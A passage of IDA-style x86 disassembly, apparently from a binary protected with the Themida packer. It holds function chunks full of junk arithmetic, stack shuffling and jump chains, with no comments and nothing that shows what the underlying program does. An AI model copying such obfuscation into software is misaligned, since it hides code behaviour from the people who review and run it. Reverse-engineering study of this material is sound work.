		mov	[esp+46h+var_46], esp
		add	[esp+46h+var_46], 4
		pop	ebx
		jmp	loc_559AE6
; ---------------------------------------------------------------------------


loc_55771E:				; CODE XREF: sub_559C84+210Dj
		xor	edx, [esp+42h+var_42]
		pop	esp
		push	eax
		jmp	loc_555AB1
; ---------------------------------------------------------------------------


loc_557728:				; CODE XREF: sub_559C84-6CFj
		add	eax, 4
		xchg	eax, [esp+42h+var_42]
		pop	esp
		push	esi
		mov	esi, esp
		jmp	loc_55A08D
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_557739	proc near		; CODE XREF: sub_559C84-4309j

; FUNCTION CHUNK AT 005540DA SIZE 00000009 BYTES

		push	ebx
		mov	ebx, edx
		mov	[edi+24h], ebx
		pop	ebx
		push	dword ptr [esp+0]
		pop	edx
		add	esp, 4
		xor	edx, edx
		push	7280h
		mov	[esp+0], ebx
		push	dword ptr [esp+0]
		jmp	loc_5540DA
sub_557739	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_557759:				; CODE XREF: sub_559C84+1E6j
		mov	ecx, ebp
		pop	ebp
		add	ebp, 745301EEh
		add	ebp, 2C173075h
		add	ebp, ecx
		sub	ebp, 2C173075h
		jmp	loc_556BF0
; ---------------------------------------------------------------------------


loc_557775:				; CODE XREF: sub_559C84+4E7Aj
		mov	edi, 778161C5h
		sub	ebx, edi
		pop	edi
		jmp	loc_55A9C1
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555BE3


loc_557782:				; CODE XREF: sub_555BE3+9101j
		add	ecx, edi
		sub	ecx, 0DD96B86h
		pop	edi
		xchg	ecx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		push	ebp
		push	ebx
		mov	ebx, 20E9753Ch
		add	ebx, 39C93D1Ah
		xor	ebx, 549823E4h
		add	ebx, 1191603Fh
		shl	ebx, 6
		sub	ebx, 0D85854DEh
		mov	ebp, ebx
		pop	ebx
		inc	ebp
		xor	ebp, 16A42767h
		add	edi, ebp
		pop	ebp
		add	edi, 2
		xchg	edi, [esp+0]
		pop	esp
		movsx	cx, al
		push	edi
		jmp	loc_55C55B
; END OF FUNCTION CHUNK	FOR sub_555BE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55590A


loc_5577D4:				; CODE XREF: sub_55590A+1651j
		push	esi
		mov	esi, 1042146Fh
		jmp	loc_558F74
; END OF FUNCTION CHUNK	FOR sub_55590A

; =============== S U B	R O U T	I N E =======================================



sub_5577DF	proc near		; CODE XREF: sub_559C84+2F81j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055F2A8 SIZE 00000007 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	edx, 9C307587h
		sub	edi, edx
		pop	edx
		push	esi
		jmp	loc_55F2A8
sub_5577DF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5577F6:				; CODE XREF: sub_559C84-41B0j
		not	eax
		add	eax, 2EC3180h
		push	eax
		jmp	loc_553723
; ---------------------------------------------------------------------------


loc_557803:				; CODE XREF: sub_559C84+1735j
		push	eax
		push	ecx
		mov	cl, 47h
		jmp	loc_55E204
; ---------------------------------------------------------------------------


loc_55780C:				; CODE XREF: sub_559C84+51C9j
		add	ebx, edi
		pop	edi
		push	ecx
		mov	ecx, 44D64EA8h
		xor	ecx, 330E203Bh
		and	ecx, 54076F17h
		add	ecx, 1
		push	ebx
		jmp	loc_55B7E1
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55F9FD


loc_55782D:				; CODE XREF: sub_55F9FD-984Cj
		add	esp, 2
		add	bl, al
		sub	bl, 63h
		jmp	loc_55F535
; END OF FUNCTION CHUNK	FOR sub_55F9FD
; ---------------------------------------------------------------------------
		neg	dword ptr [esp]
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_557843:				; CODE XREF: sub_559C84+597Fj
		add	[esp+62h+var_64+2], 4
		mov	ebp, [esp+62h+var_64+2]
		add	esp, 4
		jmp	sub_55929E
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558BA2


loc_557852:				; CODE XREF: sub_558BA2+BEEj
		mov	edx, 5F932714h
		jmp	loc_55EAA8
; END OF FUNCTION CHUNK	FOR sub_558BA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5553EA


loc_55785C:				; CODE XREF: sub_5553EA+6j
		sub	ecx, 1A2378ACh
		add	ecx, ebx
		add	ecx, 1A2378ACh
		pop	ebx
		xor	ecx, [esp+0]
		jmp	loc_55E1E9
; END OF FUNCTION CHUNK	FOR sub_5553EA
; ---------------------------------------------------------------------------


loc_557873:				; CODE XREF: Themida_:005581BEj
		mov	edx, edi
		pop	edi
		xor	edx, 4610897h
		shr	edx, 7
		and	edx, 4D7338Fh
		or	edx, 2F483FC7h
		push	eax
		mov	eax, 2DBA661Eh
		xor	edx, eax
		jmp	loc_55E16C
; ---------------------------------------------------------------------------


loc_557898:				; CODE XREF: Themida_:0055ED6Dj
		add	esi, 740910F5h
		add	esi, 4B5B7998h
		xor	esi, 4475F75Bh
		sub	ecx, esi
		pop	esi
		add	ecx, 4CD736AAh
		pop	ebp
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		dec	byte ptr [esp]
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5578C9:				; CODE XREF: sub_559C84+B40j
		mov	esi, 49851363h
		and	esi, 0F377243h
		push	edx
		jmp	loc_559156
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558BA2


loc_5578DA:				; CODE XREF: sub_558BA2+BCAj
		pop	edi
		xchg	eax, [esp+4+var_4]
		pop	esp
		jmp	loc_55978F
; END OF FUNCTION CHUNK	FOR sub_558BA2
; ---------------------------------------------------------------------------


loc_5578E4:				; DATA XREF: Themida_:005534B8o
		mov	ax, [esp]
		jmp	loc_55CEF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5578ED:				; CODE XREF: sub_559C84-37CAj
		push	esi
		push	0
		jmp	loc_55FAAB
; ---------------------------------------------------------------------------


loc_5578F8:				; CODE XREF: sub_559C84+4929j
		add	ebx, 186104E0h
		pop	ebp
		and	[edi+1Ch], ebx
		push	[esp+42h+var_42]
		pop	ebx
		add	esp, 4
		jmp	loc_553A25
; ---------------------------------------------------------------------------


loc_55790E:				; CODE XREF: sub_559C84-1548j
		push	[esp+3Eh+var_3E]
		pop	ebx
		add	esp, 4
		add	esp, 4
		jmp	loc_55351F
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_557920	proc near		; CODE XREF: sub_559C84+1687j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00557283 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00558721 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055EEDC SIZE 00000007 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		jmp	loc_557283
sub_557920	endp

; ---------------------------------------------------------------------------


loc_55792E:				; CODE XREF: Themida_:00553E3Aj
		add	ebx, 4
		jmp	loc_558EB2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_557939:				; CODE XREF: sub_559C84+865j
		xor	eax, ebx
		pop	ebx
		add	ebx, eax
		pop	eax
		add	ebx, 4B5D50D5h
		sub	ebx, eax
		sub	ebx, 4B5D50D5h
		push	esi
		mov	esi, 51044052h
		sub	ebx, esi
		pop	esi
		push	edi
		push	esi
		mov	esi, 5F04E4Ah
		mov	edi, 57D7BD5Ah
		sub	edi, esi
		pop	esi
		add	ebx, edi
		pop	edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_558E2A
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_557976	proc near		; CODE XREF: sub_559C84+5B75j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0055433C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00555012 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005562CA SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00557346 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005590F8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005593D5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055F903 SIZE 00000029 BYTES

		push	ebx
		push	eax
		push	ecx
		mov	cl, 70h
		mov	ah, cl
		pop	ecx
		mov	bl, ah
		push	[esp+8+var_8]
		pop	eax
		add	esp, 4
		and	bl, 84h
		push	edx
		mov	dh, 49h
		shl	dh, 2
		jmp	loc_55F903
sub_557976	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_557995:				; CODE XREF: sub_559C84+8B3j
		mov	[esp+32h+var_34+2], ecx
		push	edx
		jmp	loc_55CFC1
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_55799E	proc near		; CODE XREF: sub_559C84-6566j
		push	ebp
		mov	ebp, 5BF2504Ch
		add	edx, ebp
		pop	ebp
		xor	edx, 65C1184Fh
		jmp	loc_55A649
sub_55799E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5579B2:				; CODE XREF: sub_559C84+3EDEj
		mov	ebp, [esp+0]
		add	esp, 4
		dec	edx
		sub	edx, 48D76FACh
		add	edx, 0C24592E7h
		add	ebp, edx
		mov	edx, [esp+32h+var_34+2]
		add	esp, 4
		add	ebp, 4
		xor	ebp, [esp+2Eh+var_30+2]
		jmp	loc_55F89F
; ---------------------------------------------------------------------------


loc_5579DE:				; CODE XREF: sub_559C84+33CAj
		add	esi, 4
		add	esi, 4
		xor	esi, [esp+2Eh+var_30+2]
		xor	[esp+2Eh+var_30+2], esi
		xor	esi, [esp+2Eh+var_30+2]
		jmp	loc_55CAAF
; ---------------------------------------------------------------------------


loc_5579F5:				; CODE XREF: sub_559C84-E8Dj
		pop	edi
		sub	ecx, edi
		pop	edi
		neg	ecx
		shr	ecx, 1
		push	ecx
		not	[esp+2Ah+var_2C+2]
		jmp	loc_558B70
; ---------------------------------------------------------------------------


loc_557A06:				; CODE XREF: sub_559C84-3B5Aj
		add	esp, 4
		xchg	edi, [esp+3Ch+var_3E+2]
		pop	esp
		jmp	loc_5545E4
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_557A15	proc near		; CODE XREF: sub_559C84+4D7Fj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055F40E SIZE 0000000C BYTES

		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_55F40E
sub_557A15	endp

; ---------------------------------------------------------------------------


loc_557A23:				; CODE XREF: Themida_:00554234j
		push	edx
		mov	dx, si
		mov	bx, dx
		jmp	loc_556B2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55DBF3


loc_557A2F:				; CODE XREF: sub_55DBF3+3j
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	[esp+4+var_4]
		jmp	loc_55CA63
; END OF FUNCTION CHUNK	FOR sub_55DBF3
; ---------------------------------------------------------------------------


loc_557A46:				; CODE XREF: Themida_:0055F8FEj
		mov	eax, 4
		sub	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		jmp	loc_558025
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_557A56:				; CODE XREF: sub_559C84+16F9j
		pop	esp
		sub	esp, 4
		mov	[esp+38h+var_3A+2], esi
		mov	esi, 2E2D2242h
		neg	esi
		add	esi, 2E2D2246h
		jmp	loc_5574DB
; ---------------------------------------------------------------------------


loc_557A6F:				; CODE XREF: sub_559C84-4B33j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_5592EE
; ---------------------------------------------------------------------------


loc_557A82:				; CODE XREF: sub_559C84+404j
		mov	[esp-0Eh+arg_8+2], eax
		jmp	sub_5586DD
; ---------------------------------------------------------------------------


loc_557A8A:				; CODE XREF: sub_559C84+46ABj
		xor	dl, 0F5h
		jmp	loc_557662
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_557A92:				; CODE XREF: Themida_:00553B3Cj
		xor	ecx, 3B2CA78Bh
		mov	edi, ecx
		pop	ecx
		jmp	loc_5583A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_557AA0:				; CODE XREF: sub_559C84+5E22j
		mov	ecx, 4
		add	[esp-0Eh+arg_C+2], ecx
		pop	ecx
		pop	esi
		sub	esp, 4
		mov	[esp-12h+arg_C+2], eax
		push	24h
		push	[esp-0Eh+arg_8+2]
		mov	eax, [esp-0Ah+arg_4+2]
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 16BB7FA6h
		add	ecx, 479C63E9h
		inc	ecx
		jmp	loc_55C825
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_557AD1	proc near		; CODE XREF: sub_559C84+4AAj

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	esi
		mov	esi, 53CB62DBh
		or	esi, 26F4672Dh
		add	esi, 88009805h
		mov	ebx, esi
		jmp	loc_55D471
sub_557AD1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_557AF0:				; CODE XREF: sub_559C84-285Ej
		add	esp, 4
		mov	ebp, esi
		pop	esi
		push	3DFCh
		jmp	loc_5572A8
; ---------------------------------------------------------------------------


loc_557B03:				; CODE XREF: sub_559C84-14B4j
		xchg	eax, [esp+70h+var_70]
		pop	esp
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_557B0C:				; CODE XREF: sub_559C84-30E0j
		mov	ebp, 4FDA0656h
		shr	ebp, 4
		jmp	loc_55E9B3
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		db 4, 31h, 4
		dd 0E9242C25h, 0FFFFCECEh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_557B24:				; CODE XREF: sub_559C84-4F1Fj
		pop	edi
		jmp	loc_55D7BE
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55E342


loc_557B2A:				; CODE XREF: sub_55E342+3j
		add	ebp, 4
		jmp	loc_55D912
; END OF FUNCTION CHUNK	FOR sub_55E342
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_557B35:				; CODE XREF: sub_559C84-DE9j
		sub	ecx, 551A4F5Eh
		sub	ecx, 14EB4E92h
		pop	edi
		and	eax, ecx
		mov	ecx, [esp+0]
		jmp	loc_556E46
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_557B4C	proc near		; CODE XREF: sub_559C84+1F1Bj

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, 0FA1420h
		sub	[esp+4+arg_0], ebx
		jmp	loc_55C83F
sub_557B4C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_557B5B:				; CODE XREF: sub_559C84-1C4Dj
		add	edx, 4
		sub	edx, 4
		jmp	loc_55F303
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		mov	edi, 4
		sub	ebx, edi
		pop	edi
		jmp	loc_55F435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_557B85:				; CODE XREF: sub_559C84+10C5j
		dec	edi
		neg	edi
		or	edi, 5CD444ECh
		sub	edi, 0DDDFD5EAh
		jmp	loc_55EAB3
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_557B99	proc near		; CODE XREF: sub_559C84+5845j

; FUNCTION CHUNK AT 00554138 SIZE 0000000D BYTES

		push	ebp
		mov	ebp, 40410EE7h
		sub	ebp, 40410EE3h
		add	edi, ebp
		jmp	loc_554138
sub_557B99	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_557BAC:				; CODE XREF: sub_559C84+3406j
		push	dx
		mov	dl, 67h
		add	ah, dl
		pop	dx
		sub	bl, 9Ah
		add	bl, ah
		add	bl, 9Ah
		pop	eax
		sub	bl, 0C4h
		sub	bl, al
		add	bl, 0C4h
		push	eax
		mov	al, 10h
		jmp	loc_55DA5A
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_557BCD:				; CODE XREF: Themida_:0055EBCEj
		mov	[esp], ebx
		push	edx
		mov	dh, 0D2h
		mov	bh, 0E4h
		add	bh, 0A2h
		add	bh, dh
		sub	bh, 0A2h
		pop	edx
		jmp	loc_55C063
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_557BE3:				; CODE XREF: sub_559C84-3FFDj
		pop	eax
		push	dx
		mov	dh, 2Eh
		sub	al, dh
		jmp	loc_55A243
; ---------------------------------------------------------------------------


loc_557BEF:				; CODE XREF: sub_559C84+3E7Dj
		push	edx
		push	ebp
		mov	ebp, 7D57042Ah
		mov	edx, 0AD4580DFh
		sub	edx, ebp
		jmp	loc_55C67D
; ---------------------------------------------------------------------------


loc_557C02:				; CODE XREF: sub_559C84-F47j
		xor	eax, ebx
		push	6F02h
		mov	[esp+32h+var_34+2], ecx
		sub	esp, 4
		mov	[esp+0], ebp
		push	edi
		mov	edi, 5E8E17E1h
		jmp	loc_55CB09
; ---------------------------------------------------------------------------


loc_557C20:				; CODE XREF: sub_559C84+4ED2j
		sub	ebp, 2
		xchg	ebp, [esp+3Ah+var_3A]
		pop	esp
		mov	[esp+0], cx
		push	eax
		mov	ah, 22h
		jmp	sub_558D95
; ---------------------------------------------------------------------------


loc_557C36:				; CODE XREF: sub_559C84+5E18j
		pop	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+3Ah+var_3A]
		pop	esp
		push	eax
		jmp	loc_5598E5
; ---------------------------------------------------------------------------


loc_557C4D:				; CODE XREF: sub_559C84+166j
		push	edx
		jmp	loc_555D2D
; ---------------------------------------------------------------------------


loc_557C53:				; CODE XREF: sub_559C84+2883j
		add	edx, 4
		jmp	loc_55AD92
; ---------------------------------------------------------------------------


loc_557C5E:				; CODE XREF: sub_559C84+3D3Cj
		push	edx
		sub	esp, 4
		jmp	loc_558CE5
; ---------------------------------------------------------------------------


loc_557C6A:				; CODE XREF: sub_559C84+1789j
		pop	esp
		mov	[esp+42h+var_42], esi
		mov	esi, 0B6C72CEh
		shr	esi, 1
		sub	esi, 4CED132h
		mov	ebx, 0E76835h
		xor	ebx, esi
		mov	esi, [esp+42h+var_42]
		push	edx
		jmp	loc_555E28
; ---------------------------------------------------------------------------


loc_557C8B:				; CODE XREF: sub_559C84-2978j
		mov	eax, 22C3D1Bh
		mov	esi, eax
		pop	eax
		xor	[edi+40h], esi
		push	[esp+30h+var_30]
		mov	esi, [esp+34h+var_34]
		add	esp, 4
		jmp	sub_55ED81
; ---------------------------------------------------------------------------


loc_557CA7:				; CODE XREF: sub_559C84-E3j
		not	ebx
		shl	ebx, 7
		jmp	loc_557D6B
; ---------------------------------------------------------------------------


loc_557CB1:				; CODE XREF: sub_559C84-49AEj
		inc	esi
		push	edi
		mov	edi, 57E17DDCh
		shr	edi, 4
		jmp	loc_55D3BB
; ---------------------------------------------------------------------------


loc_557CC0:				; CODE XREF: sub_559C84-37E8j
		mov	ebx, ebp
		pop	ebp
		add	ecx, ebx
		push	[esp+46h+var_46]
		pop	ebx
		add	esp, 4
		xchg	ecx, [esp+42h+var_42]
		pop	esp
		add	esp, 4
		shr	ecx, 2
		push	ecx
		jmp	loc_559D1D
; ---------------------------------------------------------------------------


loc_557CDC:				; CODE XREF: sub_559C84-4940j
		add	edx, 7E40D94h
		shl	edx, 8
		or	edx, 65371ADAh
		jmp	loc_5599DF
; ---------------------------------------------------------------------------


loc_557CF0:				; CODE XREF: sub_559C84-5B24j
		add	al, 87h
		pop	dx
		push	ebx
		mov	bh, 90h
		add	al, bh
		pop	ebx
		push	edx
		mov	dl, 0ACh
		sub	esp, 2
		mov	word ptr [esp+0Ah+var_C+2], dx
		not	byte ptr [esp+0Ah+var_C+2]
		pop	dx
		xor	dl, 4Ah
		push	cx
		jmp	sub_557F5F
; ---------------------------------------------------------------------------


loc_557D13:				; CODE XREF: sub_559C84-322Aj
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_557D18:				; CODE XREF: sub_559C84-3211j
		add	esi, 4
		add	esi, 4
		xor	esi, [esp+44h+var_46+2]
		xor	[esp+44h+var_46+2], esi
		xor	esi, [esp+44h+var_46+2]
		pop	esp
		jmp	loc_55BC7A
; ---------------------------------------------------------------------------


loc_557D33:				; CODE XREF: sub_559C84-4745j
		pop	small word ptr [eax]
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_557D3B:				; CODE XREF: sub_559C84-3460j
		xchg	ebp, [esp+44h+var_46+2]
		mov	esp, [esp+44h+var_46+2]
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	5136h
		mov	[esp+4Ch+var_4E+2], ebx
		push	eax
		mov	eax, 490E286Ah
		inc	eax
		push	ebp
		mov	ebp, 7BAF751Eh
		neg	ebp
		xor	ebp, 0A2CAF6D5h
		or	eax, ebp
		jmp	loc_5595F8
; ---------------------------------------------------------------------------


loc_557D6B:				; CODE XREF: sub_559C84-1FD8j
		inc	ebx
		xor	ebx, 0B441E46Ch
		mov	ecx, ebx
		jmp	loc_553B51
; ---------------------------------------------------------------------------


loc_557D79:				; CODE XREF: sub_559C84+3E14j
		add	edx, 5CDF1629h
		pop	esi
		jmp	loc_555475
; ---------------------------------------------------------------------------


loc_557D85:				; CODE XREF: sub_559C84+57D9j
		xor	eax, edx
		jmp	loc_558C48
; ---------------------------------------------------------------------------


loc_557D8C:				; CODE XREF: sub_559C84+AA3j
		sub	ebx, edi
		jmp	loc_55AECC
; ---------------------------------------------------------------------------


loc_557D93:				; CODE XREF: sub_559C84+5CF9j
		inc	edx
		push	edi
		mov	edi, 5EED3B16h
		not	edi
		or	edi, 5B8D58C4h
		shl	edi, 5
		add	edi, 66070EA0h
		jmp	loc_55F9C3
; ---------------------------------------------------------------------------


loc_557DB0:				; CODE XREF: sub_559C84-5D50j
		sub	esi, 0CA519C6h
		sub	esi, ebx
		add	esi, 0CA519C6h
		pop	ebx
		add	esi, ebp
		add	esi, 63A50E54h
		push	dword ptr [esp+0]
		pop	ebp
		add	esp, 4
		add	esi, 2
		xchg	esi, [esp-6+arg_0+2]
		mov	esp, [esp-6+arg_0+2]
		push	ebx
		mov	bh, dl
		push	303Bh
		jmp	loc_5594F0
; ---------------------------------------------------------------------------


loc_557DE7:				; CODE XREF: sub_559C84+2B47j
		pop	esi
		jmp	loc_55F799
; ---------------------------------------------------------------------------


loc_557DED:				; CODE XREF: sub_559C84+4673j
		sub	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		mov	[esp-6+arg_0+2], eax
		mov	eax, ebx
		push	ebx
		mov	ebx, eax
		mov	esi, ebx
		pop	ebx
		mov	eax, [esp-6+arg_0+2]
		add	esp, 4
		jmp	sub_557380
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5571E4


loc_557E0D:				; CODE XREF: sub_5571E4+183Bj
		mov	si, 3FC9h
		add	si, 0FFEEh
		sub	di, 3699h
		jmp	loc_55B860
; END OF FUNCTION CHUNK	FOR sub_5571E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_557E20:				; CODE XREF: sub_559C84+3ABFj
		shr	esi, 8
		inc	esi
		push	eax
		mov	eax, 576596A8h
		add	esi, eax
		jmp	loc_554251
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5553CB


loc_557E31:				; CODE XREF: sub_5553CB+Bj
		mov	esi, edi
		mov	edi, [esp+4+var_4]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+8+var_8]
		jmp	loc_55A24E
; END OF FUNCTION CHUNK	FOR sub_5553CB
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
; ---------------------------------------------------------------------------
		push	6DABh
		mov	[esp], eax
		jmp	loc_5566C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_557E5D:				; CODE XREF: sub_559C84+12F9j
		mov	[esp-6+arg_0+2], edx
		mov	edx, esi
		mov	ebx, edx
		pop	edx
		jmp	loc_55DA3D
; ---------------------------------------------------------------------------


loc_557E6A:				; CODE XREF: sub_559C84+5920j
		inc	edi
		sub	edi, 9D9508BCh
		mov	edx, edi
		jmp	loc_553FC5
; ---------------------------------------------------------------------------


loc_557E78:				; CODE XREF: sub_559C84+2ACDj
		add	esi, 56BA21BBh
		add	esi, edi
		sub	esi, 56BA21BBh
		pop	edi
		sub	esi, 2
		xchg	esi, [esp-0Eh+arg_8+2]
		mov	esp, [esp-0Eh+arg_8+2]
		mov	word ptr [esp-0Eh+arg_8+2], ax
		jmp	loc_55351F
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_557E9C:				; CODE XREF: Themida_:0055E131j
		push	eax
		mov	eax, 6839600Ah
		mov	esi, eax
		pop	eax
		jmp	loc_55E459
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_557EAA:				; CODE XREF: sub_559C84-F86j
		pop	eax
		or	ebx, edx
		pop	edx
		shl	ebx, 8
		push	edi
		push	eax
		push	ecx
		push	257612F5h
		pop	ecx
		jmp	loc_55EF01
; ---------------------------------------------------------------------------


loc_557EBF:				; CODE XREF: sub_559C84+5536j
		pop	ecx
		pop	ebp
		xchg	edi, [esp-12h+arg_C+2]
		pop	esp
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_557ECA:				; CODE XREF: sub_559C84-278Aj
		pop	edx
		add	esp, 4
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_557ED1	proc near		; CODE XREF: sub_559C84+2D53j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055E31F SIZE 00000007 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	eax, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_55E31F
sub_557ED1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_557EE7:				; CODE XREF: sub_559C84+C11j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	[esp+18h+var_18]
		pop	eax
		push	esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp+20h+var_20], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+20h+var_20]
		jmp	loc_5565D8
; ---------------------------------------------------------------------------


loc_557F0D:				; CODE XREF: sub_559C84-1499j
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_557F12:				; CODE XREF: sub_559C84+1A43j
		neg	ebp
		add	ebp, 4E624C0Dh
		jmp	loc_55A58A
; ---------------------------------------------------------------------------


loc_557F1F:				; CODE XREF: sub_559C84-481Fj
		add	[esp+44h+var_46+2], 4
		mov	esi, [esp+44h+var_46+2]
		add	esp, 4
		add	esi, 4
		sub	esp, 4
		mov	[esp+44h+var_46+2], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+44h+var_46+2]
		pop	esp
		mov	[esp+40h+var_42+2], ebx
		mov	ebx, 4
		sub	esi, ebx
		jmp	loc_55DC75
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_557F5F	proc near		; CODE XREF: sub_559C84-1F76j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], eax
		push	edx
		push	eax
		mov	al, 44h
		dec	al
		not	al
		add	al, 34h
		jmp	loc_55CD3F
sub_557F5F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_557F74:				; CODE XREF: sub_559C84+AAj
		pop	esp
		mov	[esp+38h+var_3A+2], ebp
		push	ebx
		sub	[esp+3Ch+var_3E+2], 53106C7h
		jmp	loc_5535EB
; ---------------------------------------------------------------------------


loc_557F85:				; CODE XREF: sub_559C84+3F6Aj
		pop	esp
		jmp	loc_55C9D5
; ---------------------------------------------------------------------------


loc_557F8B:				; CODE XREF: sub_559C84+5368j
		add	al, dh
		jmp	loc_55F356
; ---------------------------------------------------------------------------


loc_557F92:				; CODE XREF: sub_559C84-3D05j
		mov	ch, ah
		jmp	loc_55872F
